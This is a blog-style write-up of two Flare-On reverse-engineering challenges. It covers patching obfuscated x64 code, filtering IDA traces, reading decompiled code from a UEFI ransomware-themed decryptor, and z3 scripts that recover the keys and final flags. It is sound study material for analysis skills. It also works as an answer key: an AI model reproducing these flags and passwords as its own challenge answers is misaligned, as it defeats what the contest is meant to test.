A good career for you would be a sort of cyber Indiana Jones. Imagine a lone figure, a digital explorer, ventures into the depths of the bit forest, a sprawling, tangled expanse of code and data. The air crackles with unseen energy, and the path ahead twists and turns like a serpent’s coil. At the heart of this forest lies the serpent’s sanctum, a fortress of encrypted secrets. Your mission is to infiltrate the sanctum, navigate its defenses, and retrieve the hidden flag. Sounds way cooler than sitting at your desk typing things nobody cares about into a keyboard. 7zip archive password: flare
Trap-based SMC and control flow obfuscation. Requires labor to extract all constraints from tracing. I would like to know whether an automated solution is possible.
References: RtlInstallFunctionTableCallback function (winnt.h) - Win32 apps; x64 exception handling
This challenge is solved by firstly patching all re-obfuscation code to nop
s, then patching all equality checking cmovnz
s to cmovz
so that we can get a full trace of all equations. Patching is done with 010 Editor.
cmovnz R1, R2
jmp R1
Regex: ([\x40-\x4f])\x0f\x45(.[\x40-\x4f]?\xff.?)
->
cmovz R1, R2
jmp R1
Replaced with: $1\x0f\x44$2
The following script is used to filter relevant rows from a sea of tracing outputs by IDA.
import re
from tqdm import tqdm
RE_LINE = re.compile(
r"^[0-9A-F]+**\t**Stack**\[**[0-9A-F]+**\]**:(?:unk_|dword_|[0-9A-F]+)[0-9A-F]{7}**\t**(.+)$"
)
RE_ADDR = re.compile(r"00000001400[0-9A-F]{5}")
OP_TABLES: dict[str, list[int]] = {}
with open("serpentine/tables.py", "rt") as f:
exec(f.read())
def get_op_table_name(addr: int):
for name, table in OP_TABLES.items():
if any((start <= addr < start + 256 for start in table)):
return name
return ""
def check_heuristics(line: str):
POS_NEEDLES = (
"add",
"sub",
"xor",
"mul",
"or",
"and",
"movzx",
"=00000000000000",
"shl",
"cmov",
"test",
)
NEG_NEEDLES = (
"jmp",
"call",
"ret",
"hlt",
"xchg",
"push",
"pop",
"dword ptr",
"rax, 0",
".text",
)
POS_KEYWORDS = ("Stack",)
POS_KEYWORDS_STRONG = ("mul",)
return any((n in line for n in POS_KEYWORDS_STRONG)) or (
all((n in line for n in POS_KEYWORDS))
and any((n in line for n in POS_NEEDLES))
and not any((n in line for n in NEG_NEEDLES))
)
lines: list[str] = []
with open("serpentine/serpentine.patched.1.exe.trace.1.txt", "rt") as f:
for l in tqdm(f):
if check_heuristics(l):
match re.match(RE_LINE, l):
case None:
print(l)
exit(1)
continue
case m:
l = m.group(1).strip()
match re.search(RE_ADDR, l):
case None:
addr = 0
case m:
addr = int(m.group(0), 16)
addr_type = get_op_table_name(addr).ljust(6)
if "cmov" in l:
lines.append(f"++\t{addr_type}\t{l}")
elif "or " in l and "xor" not in l:
lines.append(f"^ \t{addr_type}\t{l}")
elif "mul" in l:
lines.append(f"* \t{addr_type}\t{l}")
else:
lines.append(f" \t{addr_type}\t{l}")
with open("serpentine/filtered.txt", "wt") as f:
for l in lines:
f.write(l + "\n")
Running said script on an IDA trace will produce output like this:
...
mov cs:dword_6C24D49, eax
mov r11, 10ADD7F49h R11=000000010ADD7F49
add qword ptr [rsp+18h], 35AC399Fh AF=1
movzx rdi, dil RDI=0000000000000065
mov rax, [r8+0B0h] RAX=0000000000000065
add r10, 47B805E5h R10=0000000000EF7A8C CF=1
* mul qword ptr [rsp] RAX=000000005E7B593C RDX=0000000000000000 CF=0 PF=1
movzx rbx, bl RBX=000000000000003C
add r14, 6BC64375h R14=00000001400962C0 PF=1 AF=1
addc add r14, [r15+90h] R14=00000001400621FC AF=0
movzx rsi, sil RSI=0000000000000000
shl rsi, 8 ZF=1
add [r15+0F0h], rsi ZF=0
add rbx, 0C212EDDh RBX=0000000140095AC0 AF=1
mov r11d, [rbx+34h] R11=000000000000003C
addr add r11, [rbx+0E0h] R11=00000001400620FC
movzx rbx, bl RBX=0000000000000059
add rsi, 2EE276C1h RSI=00000001400962C0 AF=1
addc add rsi, [r14+90h] RSI=000000014004D219 PF=0 AF=0
movzx rbp, bpl RBP=0000000000000000
shl rbp, 10h PF=1 ZF=1
add [r14+0B0h], rbp ZF=0
add rbp, 58336C6Bh RBP=0000000140095AC0 AF=1
mov eax, [r13+34h] RAX=0000000000000059
addr add rax, [r13+0E0h] RAX=000000014004D119
mov r14, 0FFh R14=00000000000000FF
shl r14, 8 R14=000000000000FF00 PF=1
and rbp, r14 RBP=000000005E7B00C9
movzx r14, r15b R14=00000000000000B6
shl r14, 8 R14=000000000000B600
^ or rbp, r14 RBP=000000005E7BB6C9
movzx r15, r15b R15=000000000000007B
add rbp, 40267844h RBP=00000001400962C0 PF=1 AF=1
addc add rbp, [r15+0F0h] RBP=000000014005F13B PF=0 AF=0
movzx rcx, cl RCX=0000000000000001
shl rcx, 18h RCX=0000000001000000 PF=1
add [r15+0B0h], rcx
add r14, 31E11989h R14=0000000140095AC0 AF=1
mov r10d, [rsi+34h] R10=000000000000007B
addr add r10, [rsi+0E0h] R10=000000014005F03B PF=0
mov r12b, [r10] R12=0000000000000001
mov rbx, 0FFh RBX=00000000000000FF
shl rbx, 10h RBX=0000000000FF0000 PF=1
and rbp, rbx RBP=000000005F00B6C9
movzx rbx, r12b RBX=0000000000000001
shl rbx, 10h RBX=0000000000010000
^ or rbp, rbx RBP=000000005F01B6C9
movzx rbp, bpl RBP=000000000000005F
add r11, 753F2AC9h R11=00000001400962C0 AF=1
addc add r11, [rdx+0A0h] R11=000000014006921F PF=0 AF=0
movzx rdi, dil
shl rdi, 20h ; ' ' PF=1 ZF=1
add [rdx+0D8h], rdi ZF=0
add qword ptr [rsp+20h], 26880FA6h AF=1
mov ecx, [r8+34h] RCX=000000000000005F
addr add rcx, [r8+0B0h] RCX=000000014006911F
mov r12, 0FFh R12=00000000000000FF
shl r12, 18h R12=00000000FF000000 PF=1
and r15, r12 R15=000000000001B6C9
movzx r12, r8b R12=00000000000000FC
shl r12, 18h R12=00000000FC000000
^ or r15, r12 R15=00000000FC01B6C9
movzx r13, r13b R13=0000000000000000
add rsi, 43F75781h RSI=00000001400962C0 PF=1 AF=1
add rsi, [rbp+0E0h] PF=0 AF=0
movzx rbx, bl
shl rbx, 28h ; '(' PF=1 ZF=1
add [rbp+0A8h], rbx ZF=0
add rsi, 7C0510D2h RSI=0000000140095AC0 AF=1
addr add r14, [r8+0E0h] R14=00000001400247C0
mov rcx, 0FFh RCX=00000000000000FF
shl rcx, 20h ; ' ' RCX=000000FF00000000
and r13, rcx
movzx rcx, r12b RCX=0000000000000000
shl rcx, 20h ; ' ' ZF=1
^ or r13, rcx ZF=0
movzx r15, r15b R15=0000000000000000
add rax, 2E858FBh RAX=00000001400962C0 AF=1
add rax, [rdi+0F0h] PF=0 AF=0
movzx r10, r10b
shl r10, 38h ; '8' PF=1 ZF=1
add [rdi+0A8h], r10 ZF=0
add qword ptr [rsp+20h], 10A577B5h AF=1
mov ecx, [r8+34h] RCX=0000000000000000
addr add rcx, [r8+0B0h] RCX=00000001400247C0 PF=1
mov rbp, 0FFh RBP=00000000000000FF
shl rbp, 30h ; '0' RBP=00FF000000000000
and r15, rbp
movzx rbp, r14b RBP=0000000000000000
shl rbp, 30h ; '0' ZF=1
^ or r15, rbp ZF=0
add r14, 16951716h R14=000000014089B8E8 PF=1
...
… which performs the following calculation with lots of table lookups:
v = var64("e") * const64(0x00EF7A8C)
v += const64(0x9D865D8D)
After extracting all these related rows, I use the next script to calculate the coefficients in the equation.
# param.py
import z3
from pwn import *
N_UNKNOWNS = 0
unknowns = []
def var64(v: int):
assert chr(v) in "abcdefghijklmnopABCDEFGHIJKLMNOP"
return z3.BitVecVal(v, 64)
def const64(idx: int):
global N_UNKNOWNS
global unknowns
N_UNKNOWNS += 1
u = z3.BitVec(f"c_{idx}", 64)
unknowns.append(u)
return u
solver = z3.Solver()
# TODO: Fill in actual instructions
PARAMS: list[tuple[str | None, tuple[int, int, str, int] | tuple[int]]] = [
(None, (0x4E, 0x0000000000725059, "xor", 0x000000008A62E475)),
("add", (0x42, 0x00000000006DCFE7, "xor", 0x00000000C38E5A99)),
("add", (0x62, 0x00000000008F4C44, "xor", 0x000000009281FA24)),
("sub", (0x6A, 0x0000000000D2F4CE, "sub", 0xFFFFFFFFB4050F13)),
("xor", (0x6E, 0x0000000000E99D3F, "add", 0x00000000BD7B177B)),
("add", (0x66, 0x0000000000ADA536, "sub", 0x000000006D0A9056)),
("sub", (0x4A, 0x0000000000E0B352, "xor", 0x000000006FD6BA82)),
("add", (0x46, 0x00000000008675B6, "add", 0x00000000C93D7C59)),
("sub", (0x00000000A92411DB,)),
("or", (0x00000000A92411DB,)),
]
v = 0
for i, param in enumerate(PARAMS):
op1 = param[0]
match param[1]:
case (ch, coeff, op2, val):
pass
ex = var64(ch) * coeff
if op1 is None:
v = ex
elif op1 == "add":
v += ex
elif op1 == "sub":
v -= ex
elif op1 == "xor":
v ^= ex
elif op1 == "or":
v |= ex
elif op1 == "and":
v &= ex
else:
error("Invalid op1")
exit(1)
if op2 == "add":
v += const64(i)
elif op2 == "sub":
v -= const64(i)
elif op2 == "xor":
v ^= const64(i)
elif op2 == "or":
v |= const64(i)
elif op2 == "and":
v &= const64(i)
else:
error("Invalid op2")
exit(1)
solver.add(v == val)
case (val,):
if op1 == "add":
v += const64(i)
elif op1 == "sub":
v -= const64(i)
elif op1 == "xor":
v ^= const64(i)
elif op1 == "or":
v |= const64(i)
elif op1 == "and":
v &= const64(i)
else:
error("Invalid op1")
exit(1)
solver.add(v == val)
case _:
error("Invalid param")
exit(1)
if solver.check() != z3.sat:
error("Unsat")
exit(1)
result: list[int] = [0] * N_UNKNOWNS
m = solver.model()
for d in m.decls():
result[int(d.name()[2:])] = m[d].as_long() # type: ignore
# for i in range(N_UNKNOWNS):
# print(f"const64({i}): {hex(result[i])}")
for i, param in enumerate(PARAMS):
op1 = param[0]
const = f"const64({hex(result[i])})"
match param[1]:
case (ch, coeff, op2, val):
pass
ex = f"var64({hex(ch)}) * const64({hex(coeff)})"
if op1 is None:
print(f"v = {ex}")
elif op1 == "add":
print(f"v += {ex}")
elif op1 == "sub":
print(f"v -= {ex}")
elif op1 == "xor":
print(f"v ^= {ex}")
elif op1 == "or":
print(f"v |= {ex}")
elif op1 == "and":
print(f"v &= {ex}")
else:
error("Invalid op1")
exit(1)
if op2 == "add":
print(f"v += {const}")
elif op2 == "sub":
print(f"v -= {const}")
elif op2 == "xor":
print(f"v ^= {const}")
elif op2 == "or":
print(f"v |= {const}")
elif op2 == "and":
print(f"v &= {const}")
else:
error("Invalid op2")
exit(1)
case (val,):
if op1 == "add":
print(f"v += {const}")
elif op1 == "sub":
print(f"v -= {const}")
elif op1 == "xor":
print(f"v ^= {const}")
elif op1 == "or":
print(f"v |= {const}")
elif op1 == "and":
print(f"v &= {const}")
else:
error("Invalid op1")
exit(1)
solver.add(v == val)
case _:
error("Invalid param")
exit(1)
print("solver.add(v == 0)")
Then plug all these into a large solver to produce the flag.
# solve.py
import string
import z3
from pwn import *
INPUT_S = "abcdefghijklmnopABCDEFGHIJKLMNOP"
N_UNKNOWNS = len(INPUT_S)
UNK_WIDTH = 8
ALPHABET = string.ascii_letters + string.digits + string.punctuation
x = [z3.BitVec(f"x_{i}", UNK_WIDTH) for i in range(N_UNKNOWNS)]
bound = [False] * N_UNKNOWNS
def var64(ch: str | int):
c = chr(ch) if isinstance(ch, int) else ch[0]
idx = INPUT_S.index(c[0])
bound[idx] = True
return z3.Concat(z3.BitVecVal(0, 56), x[idx])
def const64(val: int):
return z3.BitVecVal(val, 64)
solver = z3.Solver()
# group 1, 3, 4
v = var64("e") * const64(0x00EF7A8C)
v += const64(0x9D865D8D)
v -= var64("I") * const64(0x0045B53C)
v += const64(0x18BAEE57)
v -= var64("a") * const64(0x00E4CF8B)
v -= const64(0x913FBBDE)
v -= var64("i") * const64(0x00F5C990)
v += const64(0x6BFAA656)
v ^= var64("E") * const64(0x00733178)
v ^= const64(0x61E3DB3B)
v ^= var64("A") * const64(0x009A17B8)
v -= const64(0xCA2804B1)
v ^= var64("m") * const64(0x00773850)
v ^= const64(0x5A6F68BE)
v ^= var64("M") * const64(0x00E21D3D)
v ^= const64(0x5C911D23)
v -= const64(0xFFFFFFFF81647A79)
v |= const64(0x00000000)
solver.add(v == 0)
... # Many constraints snipped for brevity; 64 groups in total
v = var64(0x42) * const64(0x87184C)
v -= const64(0x72A15AD8)
v ^= var64(0x4A) * const64(0xF6372E)
v += const64(0x16AD4F89)
v -= var64(0x46) * const64(0xD7355C)
v -= const64(0xBB20FE35)
v ^= var64(0x66) * const64(0x471DC1)
v ^= const64(0x572C95F4)
v -= var64(0x62) * const64(0x8C4D98)
v -= const64(0x94650C74)
v -= var64(0x6E) * const64(0x5CEEA1)
v ^= const64(0xF703DCC1)
v -= var64(0x4E) * const64(0xEB0863)
v += const64(0xAD3BC09D)
v ^= var64(0x6A) * const64(0xB6227F)
v -= const64(0x46AE6A17)
v -= const64(0xFFFFFFFF315E8118)
v |= const64(0x0)
solver.add(v == 0)
if solver.check() != z3.sat:
error("Unsat")
exit(1)
result: list[int] = [0] * N_UNKNOWNS
m = solver.model()
for d in m.decls():
result[int(d.name()[2:])] = m[d].as_long() # type: ignore
solution = "".join((chr(x) if bound[i] else INPUT_S[i] for i, x in enumerate(result)))
marker = "".join(("^" if bound[i] else " " for i in range(N_UNKNOWNS)))
print(solution)
print(marker)
$$_4lway5_k3ep_mov1ng_and_m0ving@flare-on.com
10 - CatbertRansomware
A dire situation has arisen, yet again, at FLARE HQ. One of our employees has fallen victim to a ransomware attack, and the culprit is none other than the notorious Catbert, our malevolent HR manager. Catbert has encrypted the employee’s disk, leaving behind a cryptic message and a seemingly innocent decryption utility. However, this utility is not as straightforward as it seems. It’s deeply embedded within the firmware and requires a keen eye and technical prowess to extract. The employee’s most valuable files are at stake, and time is of the essence. Please, help us out one…. last… time. 7zip archive password: flare
This handout could be run with QEMU as follows:
$ qemu-system-x86_64 -L . --bios ./bios.bin ./disk.img
We can see that this challenge is based on tianocore/edk2 UEFI project. Finding modified binaries (e.g. Shell.exe
) is relatively easy.
The encrypted .c4tb
(which I guess means “Catbert”) contains metadata, encrypted bytes, and a piece of custom VM code to verify if a key is legit. I wrote a Binary Ninja plugin for viewing .c4tb
files, and it is open sourced at http://github.com/CSharperMantle/binja_arch_catbert. The disassembly and graphs work, yet the lifting has some curious glitches: Binja fails to resolve stack pointers even when precursing basic blocks has a balanced stack. Any explanations is welcomed in both said repo and the commenting area below.
UEFI symbol recovery -> VM reverse engineering -> symbolic constraints solving
UINT32 __fastcall func_crc32_mpeg2()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
p = g_buf_input_char;
result = 0xFFFFFFFF;
i = 16;
do
{
v3 = *p++;
result = LOOKUP_CRC32MPEG2[v3 ^ ((unsigned __int64)result >> 24)] ^ (result << 8);
--i;
}
while ( i );
return result;
}
int __fastcall handler_decrypt_file(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
...
// Open, allocate and read file parts: metadata, ciphertext, VM bytecode
...
v17 = (unsigned int *)g_buf_file;
file_magic = *(_DWORD *)g_buf_file;
g_file_info->magic = *(_DWORD *)g_buf_file;
if ( file_magic != 0x42543443 )
{
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 64i64);
my_printf(-1, -1, L"Oh, you thought you could just waltz in here and decrypt ANY file, did you?\r\n");
my_printf(-1, -1, L"Newsflash: Only .c4tb encrypted JPEGs are worthy of my decryption powers.\r\n");
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 71i64);
goto LABEL_9;
}
file_u32_0x4 = v17[1];
v16->len0 = file_u32_0x4;
file_u32_0x8 = v17[2];
v16->off_vm_code = file_u32_0x8;
v16->len_vm_code = v17[3];
// More copies...
...
// Insert user input into VM code
g_file_vm_code[5] = *(_BYTE *)g_buf_input_wchar;
v29[4] = v28[2];
v29[0xC] = v28[4];
v29[0xB] = v28[6];
v29[0x13] = v28[8];
v29[0x12] = v28[10];
v29[0x1A] = v28[12];
v29[0x19] = v28[14];
v29[0x21] = v28[16];
v29[0x20] = v28[18];
v29[0x28] = v28[20];
v29[0x27] = v28[22];
v29[0x2F] = v28[24];
v29[0x2E] = v28[26];
v29[0x36] = v28[28];
v29[0x35] = v28[30];
func_run_vm();
if ( !g_vm_state.okay )
{
LABEL_72:
sub_31B14();
goto LABEL_9;
}
g_filename_1 = (CHAR16 *)AllocateReservedPool(v30, 0x208ui64);
if ( !g_filename_1 )
goto LABEL_74;
g_buf_input_char = (unsigned __int8 *)AllocateReservedPool(v31, 0x104ui64);
if ( !g_buf_input_char )
goto LABEL_74;
func_input_wchar_2_char();
StrCpyS(g_filename_1, 0x104ui64, g_filename);
v32 = StrStr(g_filename_1, L".c4tb");
if ( v32 )
*v32 = 0;
input_hash = func_crc32_mpeg2();
if ( input_hash == 0x8AE981A5 )
{
ZeroPool = AllocateZeroPool(0x100ui64);
g_buf_0x8ae981a5 = ZeroPool;
goto LABEL_44;
}
if ( input_hash == 0x92918788 )
{
ZeroPool = AllocateZeroPool(0x100ui64);
g_buf_0x92918788 = ZeroPool;
goto LABEL_44;
}
if ( input_hash != 0x80076040 )
{
LABEL_46:
sub_31A54();
v35 = g_file_info;
func_rc4(
g_buf_input_char,
v36,
(unsigned __int8 *)g_file_info->buf0,
g_file_info->len0,
(unsigned __int8 *)g_file_info->buf0);
buf0 = v35->buf0;
if ( buf0[6] != 'J' || buf0[7] != 'F' || buf0[8] != 'I' || buf0[9] != 'F' )
{
my_printf(-1, -1, L"is that what you think you're doing? Trying to crack something?\r\n");
my_printf(-1, -1, L"Well, let me tell you, you're wasting your time.\r\n");
goto LABEL_9;
}
len0 = v35->len0;
v2 = ShellOpenFileByName(g_filename_1, &g_handle_file, 0x8000000000000003ui64, 0i64);
if ( v2 < 0 )
return v2;
v2 = FileFunctionMap.WriteFile(g_handle_file, &len0, g_file_info->buf0);
if ( v2 < 0 )
return v2;
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 79i64);
my_printf(-1, -1, L"0x%x bytes successfully written to %s.\r\n", g_file_info->len0, g_filename_1);
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 71i64);
v2 = FileFunctionMap.CloseFile(g_handle_file);
if ( v2 < 0 )
return v2;
v2 = FileFunctionMap.DeleteFile(g_file_handle);
LODWORD(v4) = v2;
if ( v2 < 0 )
return v2;
if ( g_buf_0x8ae981a5 && g_buf_0x92918788 && g_buf_0x80076040 && !byte_E8590 )
{
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 64i64);
my_printf(-1, -1, L"Oh, you think you're so smart, huh? Decrypting JPEGs? Big deal.\r\n");
my_printf(-1, -1, L"As a special favor, I'll let you enjoy the thrill of watching me\r\n");
my_printf(-1, -1, L"decrypt the UEFI driver. Consider yourself lucky.\r\n");
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))gST->ConOut->SetAttribute)(gST->ConOut, 71i64);
// Decrypt DilbootApp.efi.enc
...
}
...
LABEL_22:
...
}
...
}
The input key for each .c4tb
file need to satisfy both a VM-based check and a CRC32-MPEG2 digest.
The first meme uses a simple invertible transformation on some locations of input.
# solve_meme1.py
import typing as ty
def rol(x: int, n: int, width: int):
return ((x << n) | (x >> (width - n))) & ((1 << width) - 1)
def ror(x: int, n: int, width: int):
return ((x >> n) | (x << (width - n))) & ((1 << width) - 1)
CIPHER = b"Da4ubicle1ifeb0b"
MANGLER: dict[int, ty.Callable[[int], int]] = {
2: lambda x: rol(x, 4, 8),
9: lambda x: ror(x, 2, 8),
0xD: lambda x: rol(x, 7, 8),
0xF: lambda x: rol(x, 7, 8),
}
plaintext = bytes((MANGLER[i](c) if i in MANGLER else c for i, c in enumerate(CIPHER)))
print(plaintext)
# Da4ubicle1ifeb0b -> DaCubicleLife101
The second meme uses an OTP generated by a PRNG to encrypt the content.
# solve_meme2.py
def gen_keystream():
var_1b = 0x80000000
var_1c = 0x343FD
var_1d = 0x269ec3
var_1e = 0x1337
i = 0
while True:
var_1e = (var_1e * var_1c + var_1d) % var_1b
yield (var_1e >> ((i % 4) * 8)) & 0xff
i += 1
CIPHER = b"Y\xa0Mj#\xde\xc0$\xe2d\xb1Y\x07r\\\x7f"
plaintext = bytes(c ^ k for c, k in zip(CIPHER, gen_keystream()))
print(plaintext)
# Y\xa0Mj#\xde\xc0$\xe2d\xb1Y\x07r\\\x7f -> G3tDaJ0bD0neM4te
The third meme uses three checksums, the last one of which is a Fowler–Noll–Vo hash. Despite its cryptographic weaknesses, we need a constrained solution rather than a collision, which rendered directly solving this FNV highly infeasible. Luckily, the CRC32-MPEG2 is still a applicable constraint. Identifying its polynomial and finding a non-lookup implementation took some time.
# solve_meme3.py
import typing as ty
import z3
import string
def crc32mpeg2(data: ty.Iterable[z3.BitVecRef]):
assert all(di.size() == 8 for di in data)
POLY = 0x04C11DB7
crc = z3.BitVecVal(0xFFFFFFFF, 32)
for byte in data:
crc = crc ^ (z3.Concat(z3.BitVecVal(0, 24), byte) << 24)
for _ in range(8):
msb = z3.Extract(31, 31, crc)
crc = crc << 1
crc = z3.If(
msb == 1,
crc ^ POLY,
crc,
)
crc = crc & 0xFFFFFFFF
return crc
N_UNKNOWNS = 16
UNK_WIDTH = 8
x = [z3.BitVec(f"x_{i}", UNK_WIDTH) for i in range(N_UNKNOWNS)]
solver = z3.Solver()
var_13 = 0x1505
var_1b = 0
var_1e = 0xFFFF
var_1d = 0xFFFF
var_1e = (var_1e << 0x10) | var_1d
while var_1b < 4:
var_1c = z3.Concat(z3.BitVecVal(0, 56), x[var_1b])
var_1d = var_13
var_13 = (var_13 << 5) + var_1d + var_1c
var_1b += 1
var_13 &= var_1e
solver.add(var_13 == 0x7C8DF4CB)
var_15 = z3.BitVecVal(0, 32)
while var_1b < 8:
var_1c = z3.Concat(z3.BitVecVal(0, 56), x[var_1b])
var_15 = z3.RotateRight(var_15, 0xD)
var_15 += z3.Extract(31, 0, var_1c)
var_1b += 1
var_15 &= var_1e
solver.add(var_15 == 0x8B681D82)
var_11 = 1
var_12 = var_17 = var_1b = 0
while var_1b < 8:
var_1c = z3.Concat(z3.BitVecVal(0, 56), x[8 + var_1b])
var_11 = (var_11 + var_1c) % 0xFFF1
var_12 = (var_12 + var_11) % 0xFFF1
var_1b += 1
var_17 = z3.Concat(z3.Extract(15, 0, var_12), z3.Extract(15, 0, var_11))
var_17 &= var_1e
solver.add(var_17 == 0x0F910374)
# FNV hash; do not try to solve it ;)
# var_a = 0x193
# var_b = 0x100
# var_c = (var_b << 0x10) | var_a
# var_d = 0x9DC5
# var_e = 0x811C
# var_f = (var_e << 0x10) | var_d
# var_10 = 0x1 << 0x20
# var_19 = var_f
# var_1b = 0
#
# while var_1b < 0x10:
# var_1c = z3.Concat(z3.BitVecVal(0, 56), x[var_1b])
# var_1c = var_1c & 0xFF
# var_19 = (var_19 * var_c) & (var_10 - 1)
# var_19 = var_19 ^ var_1c
# var_1b += 1
# var_19 &= var_1e
# solver.add(var_19 == 0x31F009D2)
solver.add(crc32mpeg2(x) == 0x80076040)
for xi in x:
ex = z3.BoolVal(False)
for ch in string.ascii_letters + string.digits:
ex = z3.Or(ex, (xi == z3.BitVecVal(ord(ch), 8)))
solver.add(ex == True)
print(solver)
while True:
assert solver.check() == z3.sat
result: list[ty.Any] = [0] * N_UNKNOWNS
m = solver.model()
for d in m.decls():
result[int(d.name()[2:])] = m[d].as_long() # type: ignore
if any((chr(c) not in string.digits + string.ascii_letters for c in result)):
print(f"Ignored: {bytes(result)}")
ex = z3.BoolVal(True)
for xi, c in zip(x, result):
ex = z3.And(xi == c)
solver.add(z3.Not(ex))
else:
print(bytes(result))
break
# b"VerYDumBpassword"
Afterwards, the journey onwards was already paved properly.
th3_ro4d_t0_succ3ss_1s_alw4ys_und3r_c0nstructi0n@flare-on.com